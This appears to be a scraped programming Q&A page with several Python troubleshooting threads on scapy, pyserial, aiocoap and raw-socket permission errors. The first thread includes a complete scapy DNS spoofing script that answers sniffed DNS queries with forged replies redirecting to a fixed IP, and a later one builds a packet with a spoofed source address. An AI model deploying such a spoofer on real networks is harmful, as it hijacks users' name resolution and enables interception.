scapy OSError: [Errno 9] Bad file descriptor - python

I'm using python 2.7 and scapy-2.2.0 in windows xp.
I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows.
This is the output in the Powershell:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.

It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?
If you ran it on linux, you would use strace to figure out which.
Equivalent tools on windows are Process Monitor and Logger.exe.

Related

win32.SetCommState with Pyserial in win10

Until recently I was happily using win7 + pythonX and pyserial.
Lately I upgraded to win10, now I have a problem running some python serial code which I had working on win7.
However I can even run the simple example from: Full examples of using pySerial package
What I get is the same error, on all pyserial related codes:
Traceback (most recent call last):
File ".\t.py", line 10, in
bytesize=serial.SEVENBITS
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 31, in init
super(Serial, self).init(*args, **kwargs)
File "C:\Python37\lib\site-packages\serial\serialutil.py", line 240, in init
self.open()
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 78, in open
self._reconfigure_port()
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 222, in _reconfigure_port
'Original message: {!r}'.format(ctypes.WinError()))
serial.serialutil.SerialException: Cannot configure port, something went wrong. Original message: OSError(22, 'The parameter is incorrect.', None, 87)
however I found out that the reason for this is the exception raised by a call "win32.SetCommState(self._port_handle, ctypes.byref(comDCB)):" from serialwin32.py
This call returns 0, indicating something is wrong, but when i comment it out then I can get the serial communication working again, anyone else experienced this ? any idea why this is happening ?

python3.5: serial port reading gives error

While reading serial port from COM4 port using python, i get the following error:
----------------------------------------------------------------------------
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>python.exe eMPL-client.py 4
Traceback (most recent call last):
File "eMPL-client.py", line 543, in <module>
data_delegate = data)
File "eMPL-client.py", line 23, in __init__
self.s = serial.Serial(port,115200)
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialwin32.py", line 31, in __init__
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 162, in init
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 206, in port
ValueError: "port" must be None or a string, not
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>
This error is coming from serialutil.py. Can you please help me to resolve this problem. I checked COM4 port seperately using putty tool and it worked fine.
Regards
Vinay
The problem is with the Invensense python script.
Open eMPL-client.py in text editor and search for the line: comport = int(sys.argv[1]) - 1
change it to: comport = sys.argv[1]
The script was trying to cast the string 'COM4' into an integer before passing it to the serial function, which wants a string anyway. I think maybe they were using an old version of pyserial because there are some other errors in the script.
Comment out (or delete) these lines:
self.s.setTimeout(0.1)
self.s.setWriteTimeout(0.2)
Run the client with python eMPL-client.py COM4
After all this my python client is showing the MPU data correctly. I hope this isn't too late!

Trying to connect to coap resource with python library

So im trying to connect to a CoaP Resource using this python library https://github.com/chrysn/aiocoap . The library uses python 3.4 and i have 3.4 installed and set as the interpreter to use with this (Im on Windows 7 btw). Still im getting this error message, when executing the clientGET.py file. Same for the server file.
C:\Python34\python.exe C:/Learning/PyCoap/aiocoap/clientGET.py
Traceback (most recent call last):
File "C:/Learning/PyCoap/aiocoap/clientGET.py", line 34, in <module>
asyncio.get_event_loop().run_until_complete(main())
File "C:\Python34\lib\asyncio\base_events.py", line 268, in run_until_complete
return future.result()
File "C:\Python34\lib\asyncio\futures.py", line 277, in result
raise self._exception
File "C:\Python34\lib\asyncio\tasks.py", line 236, in _step
result = next(coro)
File "C:/Learning/PyCoap/aiocoap/clientGET.py", line 20, in main
protocol = yield from Context.create_client_context()
File "C:\Learning\PyCoap\aiocoap\aiocoap\protocol.py", line 510, in create_client_context
transport, protocol = yield from loop.create_datagram_endpoint(protofact, family=socket.AF_INET6)
File "C:\Python34\lib\asyncio\base_events.py", line 675, in create_datagram_endpoint
waiter)
File "C:\Python34\lib\asyncio\selector_events.py", line 68, in _make_datagram_transport
address, waiter, extra)
File "C:\Python34\lib\asyncio\selector_events.py", line 911, in __init__
super().__init__(loop, sock, protocol, extra)
File "C:\Python34\lib\asyncio\selector_events.py", line 452, in __init__
self._extra['sockname'] = sock.getsockname()
OSError: [WinError 10022] Ein ungultiges Argument wurde angegeben
Process finished with exit code 1
I didn't explore this in a real Python, as I don't have a Windows machine with Python 3.4 handy, but it seems to me that this could be a bug in asyncio. Its UDP socket creation probably simply doesn't work on Windows. Do some experimenting on the lower level, looking at what aiocoap is doing, and try to prove me wrong.
It's supposed to work, documentation only mentions ProactorEventLoop as not supporting UDP.
The error condition is described in Socket.error: Invalid Argument supplied .
aiocoap.protocol.Context.create_client_context() seems to be doing the right thing according to asyncio documentation, but _SelectorTransport.__init__() will always call sock.getsockname() before any packets are sent, at which point the socket will not be bound to an address (according to the linked SO question) and getsockname() will fail on Windows.
You might want to retry with a current version of Python and aiocoap (current development version, after 0.4a1). Windows used not to be supported in aiocoap, and is still not supporting all of CoAP, but now uses a socket implementation that is aware of some limitations in the Windows socket API.

Running Eclipse with PyDev as root

i need to debug a program i wrote in Eclipse with PyDev plugin. However I can not debug it because Eclipse obviously does not have the permission to do so.
I always get the following error when debugging reaches the send() function.
socket.error: [Errno 1] Operation not permitted
Running Eclipse with gksudo does not work either. It opens, but it says the editor could not be found.
Could not open the editor: No editor descriptor for id
org.python.pydev.editor.PythonEditor
How do I fix this?
I can't post the full code, it's too long. Here is a kind of breakdown, which causes the same error. Eclipse is not allowed the execute the send() function. Executing it with sudo in the command shell works.
from scapy.all import *
from scapy.layers.inet import IP, UDP
class SomeIP(Packet):
name = "SomeIP Packet"
fields_desc=[XShortField("X", 0x1000),
XShortField("Y", 0x1000)]
SIP = SomeIP()
packet = IP(src="129.168.101.164",dst="192.168.101.143")/UDP(sport=1000, dport=1000)/SIP
send(packet, verbose=False)
Here is the error I get - the first line can be ignored.
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File "scapy_test.py", line 19, in <module>
send(packet, verbose=False)
File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 251, in send
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 307, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Could you use another port number? If I understand your code correctly you try to open a port on number 1000. Since port numbers up to 1024 can only be used by root, setting the port number to something higher than 1024 could maybe solve the problem.

Python code error message that I don't understand

I am having problems decoding this error message for the python on my Raspberry Pi. Please don't tell me to head to that SE, they sent me here as no one really knew what it means. It is from [GitHub][1]
Here is the error output:
Traceback (most recent call last):
File "/home/pi/piarduino/MissionControl-master/mcDesk.py", line 8, in <module> serialFromArduino = serial.Serial("/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0", 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 260, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 276, in open
raise SerialException("could not open por %s: %s" % (self._port, msg))
SerialException: could not open port /dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0: [Errno 2] No such file or directory: '/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0'
Basic troubleshooting:
Try running your script as root using sudo. It's possible you're being denied access to the serial port.
Run ls /dev/serial/by-id in a shell. Make sure the serial port you are trying to open exists and matches exactly with the port you're trying to open in your program.
If neither of those options work, try these steps.
If you care to update your question with more details, we may be able to help you further.

Categories